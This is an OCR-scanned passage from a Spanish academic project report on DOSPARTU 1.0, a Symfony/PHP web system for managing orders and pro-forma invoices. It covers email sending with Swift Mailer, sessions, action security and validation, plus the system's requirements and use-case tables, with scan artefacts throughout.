
redefiniendo algunos de los existentes.

Por ejemplo, en el objeto Article se puede afiadir un método® mégico de PHP llamado __toString() de

forma que al mostrar un objeto de la clase Article se muestre su titulo.

<?php

class Article extends BaseArticle

{

public function __ toString()

52 http://es.wikipedia.org/wiki/M%C3%A9todo_(inform%C3%Altica)
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return $this->getTitle(); // getTitle() se hereda de BaseArticle

}

3.8. Envidn de correos y notificaciones

El framework Symfony incluye en su cédigo fuente la libreria Swift Mailer, una de las mejores
soluciones para el envio de emails con PHP. Ademas, su integracién con Symfony es total, por lo que a
sus funcionalidades bésicas se afiaden caracteristicas muy interesantes.

Symfony gestiona la creacion y envio de emails a través de un objeto de tipo mailer. Como la mayoria
de objetos del nicleo de symfony, el objeto mailer también es una factoria®. Su comportamiento se
configura mediante el archivo de configuracion factories.yml y siempre esta disponible a través del

objeto que almacena el contexto:
$mailer = sfContext::getinstance()->getMailer();

Al contrario que el resto de factorias, el objeto mailer se carga e inicializa bajo demanda. Por tanto, si
no lo utilizas no se penaliza el rendimiento de la aplicacion.

3.8.1. Enviando emails desde un médulo.

Obtener la instancia del objeto mailer en una accion es muy sencillo gracias al atajo getMailer():
$mailer = $this->getMailer();
La forma mas répida de enviar un email es utilizando el método sfAction::composeAndSend():

$this->getMailer()->composeAndSend(
‘remitente@ejemplo.con’,
‘fabien@ejemplo.com,
‘Asunto’,

‘Cuerpo’

53 http://www.librosweb.es/symfony 1 2/capitulol7/factorias.html
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El método composeAndSend() utiliza cuatro argumentos:

YV VYV VY

>

La direccion desde la que se envia el email (campo from)
La direccidn o direcciones a las que se envia el email (campo to)
El asunto del mensaje

El cuerpo o contenido del mensaje

Siempre que un método utilice una direccién de email como argumento, se puede indicar como cadena

de texto o como array:

$direccion = ‘fabien@ejemplo.com’;

$direccion = array(‘fabien@ejemplo.com' => 'Fabien Potencier’);

Obviamente puedes enviar un mismo email a varios destinatarios pasando como segundo argumento

del método un array con todas las direcciones de email:

$para = array(

'destinatariol@ejemplo.com’,

'destinatario2@ejemplo.com’,

)i

$this->getMailer()->composeAndSend('remitente@ejemplo.com’,  $para, 'Asunto’,

'Cuerpo");

$para = array(
'destinatariol@ejemplo.com' => 'Sr. Destinatario’,
'destinatario2@ejemplo.com' => 'Sra. Destinataria’,
);
$this->getMailer()->composeAndSend(‘remitente@ejemplo.com’,  $para, 'Asunto’,

'Cuerpo");

La forma flexible es hacer uso del método sfAction::compose() para crear un mensaje, personalizarlo

de la forma que quieras y enviarlo después. Esta forma es util por ejemplo cuando quieres afiadir un

adjunto en el email como se muestra a continuacion:
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$mensaje = $this->getMailer()
->compose(‘remitente@ejemplo.com’, ‘fabien@ejemplo.com’, 'Asunto’, 'Cuerpo’)
->attach(Swift_Attachment::fromPath('/ruta/hasta/el/archivo.zip"))

Il enviar el mensaje

$this->getMailer()->send($mensaje);

La forma mas completa, si necesitas ain mas flexibilidad, puedes crear directamente el objeto del
mensaje:
$mensaje = Swift_Message::newlInstance()

->setFrom(‘remitente@ejemplo.com’)

->setTo('destinatario@ejemplo.com’)

->setSubject('Asunto’)

->setBody('Cuerpo’)

->attach(Swift_Attachment::fromPath('/ruta/hasta/el/archivo.zip"))

$this->getMailer()->send($mensaje);
Si quieres saberlo todo sobre como crear mensajes, puedes leer las secciones "Creando mensajes” y
"Cabeceras de los mensajes” de la documentacion oficial de Swift Mailer™.
3.9. Seguridad
La seguridad la podemos realizar mediante sesiones
3.9.1. Sesiones> de Usuario

Symfony maneja automaticamente las sesiones del usuario y es capaz de almacenar datos de forma
persistente entre peticiones. Utiliza el mecanismo de manejo de sesiones incluido en PHP y lo mejora

para hacerlo mas configurable y mas facil de usar.

54 http://swiftmailer.org/docs/messages.html
55 http://www.librosweb.es/symfony 1 2/capitulo6/seguridad_de_la_accion.html
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El objeto sesién del usuario actual se accede en la accion con el método getUser(), que es una instancia
de la clase sfUser. Esta clase dispone de un contenedor de pardmetros que permite guardar cualquier
atributo del usuario en él. Esta informacion estara disponible en otras peticiones hasta terminar la
sesion del usuario. Los atributos de usuarios pueden guardar cualquier tipo de informacion (cadenas de
texto, arrays y arrays asociativos). Se pueden utilizar para cualquier usuario, incluso si ese usuario no

se ha identificado.

El manejo de sesiones de Symfony se encarga de gestionar automaticamente el almacenamiento de los
IDs de sesién tanto en el cliente como en el servidor. Sin embargo, si se necesita modificar este
comportamiento por defecto, es posible hacerlo. Se trata de algo que solamente lo necesitan los
usuarios mas avanzados.

En el lado del cliente, las sesiones son manejadas por cookies. La cookie de Symfony se llama

Symfony, pero se puede cambiar su nombre editando el archivo de configuracion factories.yml
3.9.2. Seguridad de la Acci6n®

La posibilidad de ejecutar una accion puede ser restringida a usuarios con ciertos privilegios. Las
herramientas proporcionadas por Symfony para este proposito permiten la creacion de aplicaciones
seguras, en las que los usuarios necesitan estar autenticados antes de acceder a alguna caracteristica o a
partes de la aplicacién. Afadir esta seguridad a una aplicacion requiere dos pasos: declarar los
requerimientos de seguridad para cada accién y autenticar a los usuarios con privilegios para que

puedan acceder estas acciones seguras.

Restriccion de Acceso: Antes de ser ejecutada, cada accidn pasa por un filtro especial que verifica si
el usuario actual tiene privilegios de acceder a la accion requerida. En Symfony, los privilegios estan

compuestos por dos partes:

» Las acciones seguras requieren que los usuarios estén autenticados.
» Las credenciales son privilegios de seguridad agrupados bajo un nombre y que permiten

organizar la seguridad en grupos.

Para restringir el acceso a una accion se crea y se edita un archivo de configuracion YAML llamado

security.yml en el directorio config/ del mddulo. En este archivo, se pueden especificar los

56 http://www.librosweb.es/symfony 1 2/capitulo6/seguridad_de_la_accion.html
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requerimientos de seguridad que los usuarios deberan satisfacer para cada accién o para todas (all) las

acciones.
3.9.3. Métodos de Validacion y Manejo de Errores

La validacién de los datos de la accién -normalmente los pardmetros de la peticion- es una tarea

repetitiva y tediosa. Symfony incluye un sistema de validacion, utilizando métodos de la clase accion.

Se ve en primer lugar un ejemplo. Cuando un usuario hace una peticion a miAccion, Symfony siempre
busca primero un método Ilamado validateMiAccion(). Si lo encuentra, Symfony ejecuta ese método.
El valor de retorno de esta validacion determina el siguiente método que se ejecuta: si devuelve true,
entonces se ejecuta el método executeMiAccion(); en otro caso, se ejecuta handleErrorMiAccion(). En
el caso de que handleErrorMiAccion() no exista, Symfony busca un método genérico llamado
handleError(). Si tampoco existe, simplemente devuelve el valor sfView::ERROR para producir la

plantilla miAccionError.php.
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Request for swActon
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Render amplats Reaer terplate
myActionSuccess. php myhctionEror,php

Figura 15 Proceso Validacion
Fuente: [http://www.librosweb.es/symfony_1_2/]

La clave para un correcto funcionamiento de la validacion es respetar la convencion de nombres para

los métodos de la accion:

> validateNombreAccion es el método de validacion, que devuelve true o false. Se trata del
primer método buscado cuando se solicita la accion NombreAccion. Si no existe, la accion se
ejecuta directamente.

» handleErrorNombreAccion es el método Ilamado cuando el método de validacion falla. Si no
existe, entonces se muestra la plantilla Error.

> executeNombreAccion es el método de la accién. Debe existir para todoas las acciones.

class mimoduloActions extends sfActions

{
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public function validateMiAccion($peticion)
{

return $peticion->getParameter('id") > 0O;
}

public function handleErrorMiAccion()

{

$this->message = "Pardmetros no validos";
return sfView::SUCCESS;

}
public function executeMiAccion()
{
$this->message = "Los parametros son validos";
}
}

Se puede incluir cualquier cddigo en el método validate(). La tGnica condicién es que devuelva un valor
true o false. Como es un método de la clase sfActions, tiene acceso a los objetos sfRequest y sfUser,

que pueden ser realmente Utiles para validacion de los datos de la peticion y del contexto.

Se pueden utilizar este mecanismo para implementar la validacién de los formularios (esto es, controlar
los valores introducidos por el usuario en un formulario antes de procesarlo), pero se trata de una tarea

muy repetitiva para la que Symfony proporciona herramientas automatizadas.
3.10.  Avisos automaticos

El sistema realizara notificaciones automaticas a los usuarios mediante un correo electrénico asignado

a un usuario luego de su registro

Notificara el estado de un pedido y/o proformas.
Cambios y/o actualizacion de datos y claves.
Tipo de usuarios después del registro.

Estado de un pedio.

Confirmacion de llegada/envio de un pedido.

Promociones de productos.

YV V. V V V VYV VY

Productos nuevos.
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» Mas vendidos entre otras notificaciones automaticas que este programadas.
3.11.  Generar proformas/pedidos

El sistema permitira a los usuarios y clientes, que visitante la aplicacion gestionar dinamicamente,
proformas y pedidos, para posteriormente realizar la factura y envia a la mercaderia al lugar que el

cliente necesite.
3.11.1. Caracteristicas del Documento Finalidad

La factura proforma es un documento que utiliza el vendedor para plasmar una oferta detallada de una
venta. Al tratarse de una oferta, si es aceptada por el comprador, serd el origen de un contrato
de compraventa. Por tanto, es necesario que contenga todos los datos necesarios para establecer los

términos y condiciones de venta.

Los datos a consignar o detallar son basicamente los que se especifican en la factura comercial:

Fecha, nombres y razones comerciales de vendedor y comprador.
Denominacion precisa y cantidad de mercancia.

Precio unitario y cantidad de mercancia.

Forma y condiciones de pago.

Tipo de embalaje.

YV V V VYV VYV V

Términos de entrega de la mercancia

No es necesario gue estén firmadas.

Estos datos serdn los que posteriormente se consignen en la factura comercial una vez confirmado el
pedido por parte del comprador. Las informaciones contenidas en una oferta se resumen, en un
documento denominado Factura Proforma que contiene los elementos que configuraran la factura
definitiva, en el caso de que la oferta se materialice en pedido o contrato y no hayan cambiado los
datos que en ella se hayan reflejado. La Factura Proforma es un reflejo de los que serd la factura
definitiva

La Factura Proforma permite el cliente potencial conoces cdmo comprar el producto y pagarlo v,
ademas, iniciar la tramitacion administrativa para su informacidn, asi como la determinacion del precio

definitivo del producto tanto si lo adquiere para autoconsumo como para reventa.
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En el aspecto practico, es una factura normal en la que se hace constar visiblemente la palabra

“Proforma”.
3.12. Usuarios

El usuario asignado en la aplicacion generalmente sera de 3 tipos.

Usuario Visitante: Es un usuario cualquiera que ingresa a nuestra web, y puede visualizar los
productos especificos, precios, promociones publicados por el administrador, podrd realizar una
cotizacion, busquedas de productos, pero terminara cuando termine su visita a nuestra web, si por el
contrario necesitar confirmar el pedido, y/o la cotizacién le aparecera un formulario de registro y se
convertira en usuario registrado.

Usuario Registrado: A parte de visualizar productos, precio promociones, realizar cotizaciones este
usuario ya podra enviar y guardar un proforma que haya realizado.

Usuario Administrador: Controla toda la aplicacion Web, modificar, eliminar, y crear, productos,
usuarios, pedidos etc.

3.13.  Permisos
Los permisos a los usuarios seré de 3 tipos:
Bésico: Correspondera al Usuario Visitante.

Estandar: Es un usuario Registrado

Alto: Es el permiso otorgado al administrador.
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4. Desarrollo de Modulos del Sistema

El desarrollo del sistema lo realizamos utilizado framework symfony basado en PHP 5 con base de

datos MySQL, con la arquitectura MVC y metodologia UML.
4.1. Anélisis

Una exhaustiva toma de requisitos es clave para definir y delimitar de forma precisa el funcionamiento
del sistema, formalizando un contacto con el cliente a través del cual pueda validar que realmente se
satisfacen sus necesidades. Ademaés, el hecho de tener esta fase bien elaborada permitird luego
desarrollar el modelo de casos de uso de manera casi directa.

De este modo se han ido recopilando y definiendo todos los requisitos que debe cumplir el sistema,
obteniendo en todo momento una visién global que permita aclarar imprecisiones o posibles
inconsistencias.

Diferenciaremos dos tipos de requisitos:

Requisitos funcionales: Definen el comportamiento especifico del software®’, es decir, qué debe hacer
exactamente la aplicacion.

Requisitos no funcionales: Complementan los anteriores describiendo cualidades y restricciones de
las operaciones sistema, centrandose en caracteristicas de disefio e implementacion.

Primero empezaremos por especificar qué requisitos tendrd nuestro sistema y posteriormente
pasaremos a definir qué requisitos debera cumplir el médulo que la gestiona, a partir de ahora

mencionado como Admin.
4.1.1. Requisitos Funcionales

Estructura de las Paginas

Todas las paginas tendran una estructura comun que contendra.

Logotipo de la empresa
Idiomas disponibles.
Buscador de productos.
Menu corporativo.

Menu del catalogo de productos.

vV V V V VYV V

Armar virtualmente tu PC.

57 http://es.wikipedia.org/wiki/Software
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» Pie de pagina con informacién de contacto.

Se podra volver siempre a la pagina de inicio clickando en el logotipo.

Se podran buscar productos a partir de unas determinas palabras o acceder a un buscador mas
avanzado.
Se podran consultar enlaces de notas legales, condiciones de envio y politica de privacidad, que se

mostraran en ventanas independientes.

Menu Corporativo

El mend corporativo estara compuesto por las siguientes secciones con informacion acerca de la
empresa:

La empresa: Contendréa fotografias y textos sobre la compania.

Historia: Mostrara la evolucion de la empresa desde sus inicios

Aucas: Son unas vifietas o tiras comicas sobre la compania.

¢Dénde estamos?: Contendra el horario de apertura, datos de contacto y un mapa interactivo de su
ubicacion.

Noticias: Contendra diferentes noticias referentes a la empresa, ordenadas por las mas recientes.

Catalogo virtual

El catalogo virtual contendra la informacion de todos los articulos que se vayan a vender en la tienda.

La jerarquia del catalogo estara organizada en:

Categorias: Primer nivel del catalogo, cada una de ellas se divide en distintas familias.

Familias: Segundo y ultimo nivel del catdlogo, estdn compuestas por un conjunto de productos de
caracteristicas similares. Las familias tendran asociado un tipo de listado (de una o dos columnas), que
determinara el formato con el que se mostraran los listados de productos.

Productos: Articulos de una determinada familia que se podran comprar en la tienda.

Agrupaciones: Seleccion de productos que permitira agrupar productos de diferentes familias que se

deseen destacar en la web (ofertas, novedades, mas vendidos, etc.).
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Los usuarios podran acceder al catadlogo para consultar los productos de una familia, de una
agrupacion o buscar productos que cumplan determinadas caracteristicas.

Las paginas de familias y agrupaciones podran tener una imagen y una descripcion
previamente al listado de sus productos.

Los productos de una familia se mostraran con informacion y distribucion diferente en funcién
del tipo de familia a la que pertenezca.

Las agrupaciones podrén ser accedidas a través de banners o como puntos de menu en el
catalogo.

Los productos que dispongan de ficha propia contendran un enlace a ella en el que se
mostraran todos los detalles.

Los precios de los productos se mostraran sin IVA

Junto a cada producto siempre habra un botén que permita seleccionarlo para realizar una
proforma.

Los listados con muchos productos apareceran paginados, aunque se debe poder ver todos los

elementos en la misma pégina.

Ficha de producto

Se trata de paginas que mostraran informacion detallada sobre un producto concreto: nombre, nimero

de piezas, nimero de raciones, capacidad, descripcion, precio, etc.

» Se mostrara toda la informacion del producto.

» Las imagenes de los productos se podran ver ampliadas.

Buscador de Productos
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Proforma

Durante la seleccion de productos se mantendra visible la proforma con los productos
adquiridos, sus cantidades y el coste total de los productos.

Antes de formalizar la proforma se mostrara un resumen del pedido con el IVA desglosado y
se podran consultar los gastos de envio en funcién de la zona y el recargo de equivalencia
aplicado en el caso de distribuidor.

Para realizar una proforma los visitantes deberan identificarse como clientes, o registrarse si
todavia no tienen cuenta.

Antes de realizar la confirmacion de la proforma se mostrara un resumen de los costes finales
del pedido y la direccién de envio.

Luego de la confirmacion el pedido se enviard un email de confirmacion al cliente con toda la

informacion del pedido, con copia oculta al encargado de los pedidos.

Registro de Usuarios

Los usuarios se identificaran a través de su direccién de correo electrénico.

Se guardaréd informacién acerca de su nombre, apellidos, Cl, teléfono, empresa, domicilio,
direccion de recepcidn de pedidos, observaciones, si esta interesado en recibir promociones.
Cuando un usuario se de alta se le enviard un email de bienvenida con los datos de contacto
introducidos.

Los clientes podran consultar sus datos de contacto y rectificarlos.

En caso de olvidar la contrasefia se podra solicitar el envio al email de una nueva generada
aleatoriamente.

La contrasefia podra cambiarse desde la web introduciendo la antigua.

4.1.2. Requisitos no Funcionales

Estandarizacion
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Usabilidad

> La navegacion en la web serd intuitiva y amigable, siendo facil de usar incluso para personas
no habituales en internet.

» Todas las paginas tendran una estructura comin para que el visitante se sienta siempre
orientado durante su navegacién

> Laweb serd atractiva y agradable visualmente.

> La interaccion con el usuario dentro de una misma pagina no la refrescard completamente en
cada cambio (uso de AJAX).

Modularidad

» Debe ser un sistema escalable, pudiendo afiadir facilmente nuevas funcionalidades (mejoras en
el catdlogo, secciones, registro de usuarios, etc.)

> Debe ser reusable, pudiendo aprovechar en otras areas las funcionalidades implementadas.

Rendimiento

» Las paginas deben ser &giles y tener un tiempo de carga adecuado.

Seguridad

» El sistema debe cumplir con la Ley Organica de Proteccion de Datos de caracter personal
(LOPD).
» Ningun administrador del sistema podra averiguar las contrasefias guardadas.

4.1.3. Requisitos Funcionales Admin

Las funcionalidades que debe cumplir el gestor de contenidos los podemos organizar conceptualmente

en:

Usuarios

Los usuarios son las diferentes cuentas de acceso al médulo de administracion.

Tendran un nombre, contrasefia, fecha de alta, fecha de baja y comentarios.
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Sélo podréan acceder al Admin usuarios identificados.
Se podra gestionar el Alta/Baja/Modificacion de usuarios.

Se podré buscar usuarios que cumplan determinados requisitos o filtros.

Grupos de usuario

Los grupos de usuario son los diferentes perfiles o roles que pueden tener los usuarios. Un usuario

podra pertenecer a varios grupos a la vez.

Cada grupo tendrd nombre y descripcion, y para cada apartado del Admin se le podra definir un

conjunto de permisos (leer, afiadir, modificar, eliminar o imprimir registros).

Se podra gestionar el Alta/Baja de grupos de usuarios.

Se podré buscar categorias que cumplan determinados requisitos o filtros.

Se podran definir los permisos del grupo para Listar, Crear, Modificar, Eliminar registros en
cada uno de los principales apartados del administrador.

Se podran gestionar los usuarios que pertenecen a cada grupo.

Categorias

Las categorias forman el primer nivel del catalogo y contendran sus familias y agrupaciones.

Tienen codigo, nombre y la traduccion del nombre en cada idioma.

» Se sincronizaran los datos bésicos.
> Se podréa gestionar el Alta/Baja/Modificacion.
» Se podran buscar categorias que cumplan determinados requisitos o filtros.
> Se podréan activar y desactivar categorias para que aparezcan o no en la web.
> Se podréa definir un orden para las categorias.
» Cada categoria podra tener asociada una imagen que se mostrara como fondo de la web cuando
un visitante navegue por una de las familias de la categoria.
Familias

Las familias tienen cddigo, nombre, imagen y pertenecen a una sola categoria.
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Cada familia tiene un tipo de listado para sus productos, tendrd una imagen por defecto para sus

productos.

YV V V VYV V

Se podré gestionar la Modificacién de familias.

El campo descripcion deberéan soportar formato HTML.

Se podran buscar familias que cumplan determinados requisitos o filtros.
Se podran activar y desactivar familias para que aparezcan o no en la web.

Se podra definir un orden para las familias.

Productos

Los productos disponen de cédigo, nombre, familia, precio, tipo de IVA, peso, peso neto, foto

pequeiia, foto grande, stock de seguridad, si esta agotado, si tiene ficha, si esta en oferta, si es novedad

y si ha quedado obsoleto.

Cada producto podra tener asociados un conjunto de productos recomendados.

Los productos se podran clasificar en tres tipos:

Titulares: Productos que se preforman en la web y estaran siempre accesibles.

Suplentes: Productos que sélo apareceran en la web cuando sustituyan a uno gue se ha agotado.

No web: Productos del sistema que no apareceran en la web.

YV V. V V V V V V V V

La informacion basica los productos titulares.

Los productos de tipo “No web” no se sincronizaran, ya que nunca apareceran en la web.
Se podré buscar productos que cumplan determinados requisitos o filtros

Se podran gestionar las iméagenes de los productos.

Se podran gestionar los productos recomendados de cada producto.

Se podran gestionar los productos sustitutivos de cada producto.

El resumen, deberan soportar formato HTML.

Se podré definir para cada producto si tendra ficha propia con informacién detallada.

Se podrén activar y desactivar productos para que aparezcan o no en la web.

Se podréa definir un orden para los productos.

Agrupaciones

Las agrupaciones tienen nombre, una imagen y pueden pertenecer a una categoria.

75



DOSPARTU 1.0 Sistema de Gestién de Pedidos y Proformas Dinamicas por Internet

Podran aparecer en forma de punto de mend.

Existen 3 agrupaciones especiales que se calcularan de forma automatica:

YV V V V V V

A\

a) productos en oferta

b) productos nuevos

c) productos mas vendidos
d) combos

e) CPU

Se podréa gestionar el Alta/Baja/Modificacion de agrupaciones.

Se podra buscar agrupaciones que cumplan determinados requisitos o filtros.

La descripcion debera soportar formato HTML.

Se podré definir si la agrupacion aparecera en la web como punto de menu y/o banner.

Se podré definir un orden para las agrupaciones.

El sistema mantendra actualizados los productos en oferta, las novedades y los productos mas
vendidos en sus respectivas agrupaciones.

Se podran gestionar los productos las agrupaciones y su ordenacion.

Se podran afiadir todos los productos de una agrupacion en otra.

Iméagenes

Las imagenes que se mostraran en la web deben cumplir una serie de requisitos:
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Todas las imagenes de la web deberan poder subirse, modificarse y borrarse de una forma
simple y practica.

Se podran pre visualizar a tamafio real las imagenes asignadas a los elementos del catalogo.

A todas las imagenes se les podra definir un texto alternativo.

Se podré gestionar un conjunto de imagenes que seran mostradas aleatoriamente como fondo
de la web cada vez que entre una nueva visita.

Para cada familia se podra asignar una imagen por defecto que se mostrara en los productos
que le pertenezcan cuando no tengan foto asignada.

Se podré asignar una foto genérica por defecto que aparecerd cuando no exista foto de

producto ni familia.
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» Se podra definir una imagen por defecto como fondo de pantalla de la web que se asignara en
caso que no haya ninguna en la carpeta de aleatorias.

> Para facilitar la gestion de iméagenes, se establecera un convenio de modo que si existe alguna
con nombre “<CodigoProducto> P.jpg” o “<CodigoProducto> G.jpg” se vinculard
automaticamente como fotografia pequefia (P) y grande (G) del producto con dicho c6digo, en
caso de no tener ya una expresamente definida.

> Se podran subir imagenes por FTP*®, arrastrandolas o copiandolas en una carpeta.

Secciones

Las secciones corresponden a las partes de la web que requieren mayor flexibilidad y complejidad,
como los diferentes puntos del mend corporativo, las plantillas de los emails enviados
automaticamente, etc.

Los emails dispondran de una serie de etiquetas con una nomenclatura especial, que en el caso de
insertarse dentro del contenido de la seccidon serdan remplazados por su valor correspondiente (por

ejemplo definir una etiqueta que represente el nombre del cliente destinatario del correo).

» Se podré visualizar y editar el contenido de las secciones a través de una interfaz grafica que
sea potente y facil de usar. Ademas, se deberan poder insertar facilmente objetos HTML
externos, como imagenes entre otras cosas.

» Se podra visualizar y editar el contenido de los mails de registro de usuario, generacion de
nueva contrasefia y confirmacion de proforma y/o pedido.

> Se podran consultar y copiar las etiquetas de una seccion.

> Se podréa gestionar el Alta/Baja/Modificacién de noticias.
Clientes
Los clientes son los visitantes registrados en la web, que pueden realizar pedidos.
Los clientes se identificardn por email y contrasefia. También tendrdn nombre, apellidos, D.N.I
(Cedula, pasaporte). Empresa, teléfono, direccion de factura y de envio, y se guardara otra informacién

de interés.

> Se podré gestionar el Alta/Baja/Modificacién de clientes.

58 Es un protocolo de red para la transferencia de archivos entre sistemas conectados a una red
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» Se podran buscar clientes que cumplan determinados requisitos o filtros
> Se podrén enviar los emails de registro y generacion de nueva contrasefia de forma manual.

> Se podréa enviar emails de notificacion de productos, promociones entre otros.

Pedidos

Un pedido es el conjunto de articulos adquiridos por un cliente.
Los pedidos tienen cddigo, estado, observaciones, datos del cliente que lo realizd, comentarios e
informacion calculada del conjunto de lineas que lo forman (costes de envio, IVA, importe final, peso

total, peso de productos con caja especial y recargo de equivalencia).

> Se podréa gestionar el Alta/Baja/Modificacién de pedidos.

» Se podra gestionar el Alta/Baja/Modificacion de lineas de pedido. Las lineas del pedido estan
compuestas por un producto, el precio unitario, la cantidad y el importe total de la linea.

» Se podran buscar pedidos que cumplan determinados requisitos o filtros

» Se podréa enviar un email de confirmacidn del pedido y/o de la proforma de forma manual.

Zonas

Para gestionar la distribucion geografica de pedidos se creara un sistema de paises subdivididos por
provincias (estados o regiones en su defecto). Cada pais tendra un codigo, un nombre

Las provincias tendran codigo, un nombre, y perteneceran a un pais.

Las zonas seran la forma de agrupar los lugares a los que se realizaran los envios y estardn compuestas
por un conjunto de provincias.

A cada zona se le definiran un conjunto de portes sobre los cuales se calcularan los gastos de envio,
que consistiran en intervalos de peso con un coste asociado y un suplemento por Kg. adicional en caso
de sobrepasar el limite superior.

Entonces para realizar un pedido, en la direccion de envio se deberd indicar la provincia o pais a la que

pertenece para poder calcular los gastos automaticamente.

Se podra gestionar el Alta/Baja/Modificacion de paises.
Se podran buscar paises que cumplan determinados requisitos o filtros.

Se podré gestionar el Alta/Baja/Modificacidn de provincias.

Y V VYV VY

Se podran buscar provincias que cumplan determinados requisitos o filtros
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> Se podréa gestionar el Alta/Baja/Modificacién de zonas.

> Se podré buscar zonas que cumplan determinados requisitos o filtros

> Se podran gestionar las provincias que pertenecen a cada zona y se le podran afadir
directamente todas las que pertenezcan a un determinado pais.

» Se podré gestionar el Alta/Baja/Modificacion de los portes de cada zona.

Transportistas

Los transportistas son las compafiias encargadas de llevar los pedidos a los clientes.

Cada zona podra tener un transportista asignado, que dispondra de nombre y teléfono de contacto.

> Se podréa gestionar el Alta/Baja/Modificacion de transportistas.

Posicionamiento web

En todas las paginas de la web que vayan a ser indexadas se podran definir los principales atributos o
tags que influyen en el posicionamiento:

Titulo: Frase que debe ser Unica en el sitio y describir en pocas palabras de lo que trata una
determinada péagina. El titulo identifica la pagina y es visible en la ventana del explorador, en los
resultados de las bisquedas o en los Favoritos.

Palabras clave (KeyWords): Conjunto de palabras o criterios de buasqueda que definen
principalmente la pagina y se compararan con las palabras introducidas por el usuario.
Meta-Descripcion: Resumen del contenido de la pagina que debe ser Unico en el sitio y se visualizara
en los resultados de las basquedas.

El buen uso de estos tags mejorara la posicién en la que aparecen las paginas del sitio en las bisquedas

por internet.

» Se podrén definir el titulo, palabras clave y meta-descripcion de todas las paginas de la web
gue deban posicionarse (secciones, familias, productos, agrupaciones y buscador de
productos). Para aquellas no posicionables, que no se encontraran en los buscadores, sera
suficiente con poder definir el titulo.

» Se recopilara informacion sobre las visitas de la web.
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Parametrizacion del sistema

La web no debe ser rigida y debera tener un conjunto de variables que se podran configurar desde el
BackOffice:

Valores seleccionados por defecto (idioma y pais).

Descuento aplicado a todos los productos de la web.

NuUmero de elementos mostrados en los listados de tienda y en los de Admin.

Porcentaje del recargo de equivalencia aplicado a revendedores.

Precio de la oferta en los portes.

Valor minimo del pedido para aplicar la oferta en los portes.

Porcentaje de IVA aplicado a los gastos de envio.

» Se podran gestionar los valores de los distintos parametros del sistema.

Ademas, se pretende almacenar informacion para poder mantener un control de cambios.

> Para todo elemento del sistema se guardara su fecha de alta y Gltima modificacion, asi como el

usuario que la realizé.
4.1.4. Requisitos no Funcionales Admin

El sistema seré accedido a través del navegador web del cliente.
Ha de tener una navegacion agil e intuitiva.

Debe de tener un rendimiento aceptable, sin necesidad que sea 6ptimo.

Y V VYV V

Se realizaran frecuentemente copias de seguridad de la Base de Datos.
4.2. Especificacion

En este apartado describiremos las especificaciones, el funcionamiento del sistema, sin definir aun la

implementacion.
4.2.1. Modelo Entidad-Relacion

Estos modelos expresan entidades relevantes para un sistema de informacion asi como sus
interrelaciones y propiedades. Se definen en UML, un modelo propuesto como estdndar usado para
construir software orientado a objetos, cuyas principales funciones seran visualizar, especificar,

construir y documentar un sistema de forma grafica.
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4.2.2. Modelos de Casos de Uso

El modelo de casos de uso sirve para definir a los actores o usuarios del sistema y la forma en que
interactuaran con él, desde el punto de vista del usuario final.

En los diagramas de actores y casos de uso se van a usar las siguientes relaciones:

» Asociacion: Relacion basica entre actor y caso de uso, que denota su participacion en él.

» Generalizacidon: Herencia de un actor o caso de uso, donde sus relaciones o comportamiento
podran ser ampliados y refinados en las instancias especializadas.

> Inclusion: Relacion entre casos de uso que denota la insercion del comportamiento de un
escenario dentro de otro, permitiendo agrupar comportamientos comunes.

» Extension: Relacion entre casos de uso que denota la ampliacién de un caso de uso con otro

escenario que puede ser opcional o sujeto a determinadas condiciones.
4.2.2.1. Actores del sistema

Los actores son el conjunto de agentes externos que utilizan o se relacionan con el sistema. Un actor
puede participar en varios casos de uso y un caso de uso puede interactuar con varios actores.

En nuestro caso tenemos a tres agentes humanos (visitante, cliente y administrador)

Visitante: usuario que navega de forma anonima
por la web.

Usuario Cliente: usuario registrado e identificado por el
sistema. Se trata de una especializacion de
visitante, por lo que heredara todas sus relaciones.

Administrador: persona con acceso al gestor de

contenidos que administrara la web.

administradar Lsuario registrado

Figura 17 Caso uso usuarios
Fuente: [Propial

Los casos de uso son representaciones de uno o mas escenarios que describen como sera la interaccion

entre el sistema y el usuario para alcanzar un Unico objetivo o tarea del negocio.

82



DOSPARTU 1.0 Sistema de Gestién de Pedidos y Proformas Dinamicas por Internet

buscar producto
registrarse
consultar producta

realizar proforma

listar categoria
afiadir categoria

eliminar categoria
afiadir producto

eliminar praducta
administrador ?
gestionar listar usuatio

camhio estado pedido
listar pedido
listar producto

usuario
usuario registrado

Figura 18 Caso de usos del sistema
Fuente: [Propia]

Los casos de uso han sido desglosados en funcién del actor con quien interactia, mostrando un
diagrama de casos de uso del actor y la definicion o contrato de cada uno de ellos. En el caso del actor
administrador, también se han clasificado segun la entidad principal con la que relacione.

Con el fin de simplificar el modelo de casos de uso, en los casos basicos de gestién de entidades (alta,
baja, consulta y modificacion) que tengan un comportamiento com(n no se entrard en un elevado nivel
de detalle, de modo que se trataran sus datos de forma global sin especificar todos sus atributos. En
caso de querer obtener mas detalles acerca de éstos se podrd consultar su entidad en el Modelo

Entidad-Relacion mostrado previamente.
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buscar poducto

consultar producto

consultar categoria

consutar farmilia
eliminar profarma

Figura 19 Caso de Uso Sistema
Fuente: [Propia]

Usuario

proformar

modificar proforma

4.2.2.2. Caso de uso Sistema ( Usuario Visitante)

Caso de Uso Consultar seccion

Requisitos asociados | Aplicacién-Menu Corporativo

Actor iniciador Visitante

Descripcion Se consulta el contenido

Precondicion

Pos condicion Se muestra el contenido por pantalla

Curso normal

1. El usuario quiere acceder a una seccion
2. El sistema muestra secciones existentes
3. Elusuario elige seccion deseada

4. El sistema muestra el contenido de la seccion

Curso alternativo

Tabla 5 Consultar seccion
Fuente: [Propia]
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Caso de Uso Consultar categoria

Requisitos asociados | Aplicacion-Catalogo Virtual

Actor iniciador Visitante
Descripcion Se consulta familias y agrupaciones asociadas a unas categorias.
Precondicion La categoria esta activa

Se muestran las familias y agrupaciones de la categoria
Pos condicion ]
seleccionada

Curso normal

1. El usuario quiere consultar una categoria.
2. El sistema muestra las categorias existentes.
3. Elusuario elige la categoria deseada.

4. El sistema muestra las familias y agrupaciones de la categoria.

Curso alternativo

Extension Consultar familia

Tabla 6 Consultar categoria
Fuente: [Propia]

Caso de Uso Consultar familia

Requisitos asociados | Aplicacion-Catalogo Virtual

Actor iniciador Visitante
Descripcion Se consulta el contenido de una familia.
Precondicion La familia esta activa

Se muestran la informacion y los productos de la familia
Pos condicion ]
seleccionada

Curso normal

1. El usuario quiere consultar una familia.
2. El sistema muestra las familias disponibles.
3. El usuario selecciona la familia deseada.

4. El sistema muestra la informacion de la familia.

Curso alternativo

Extension Consultar producto
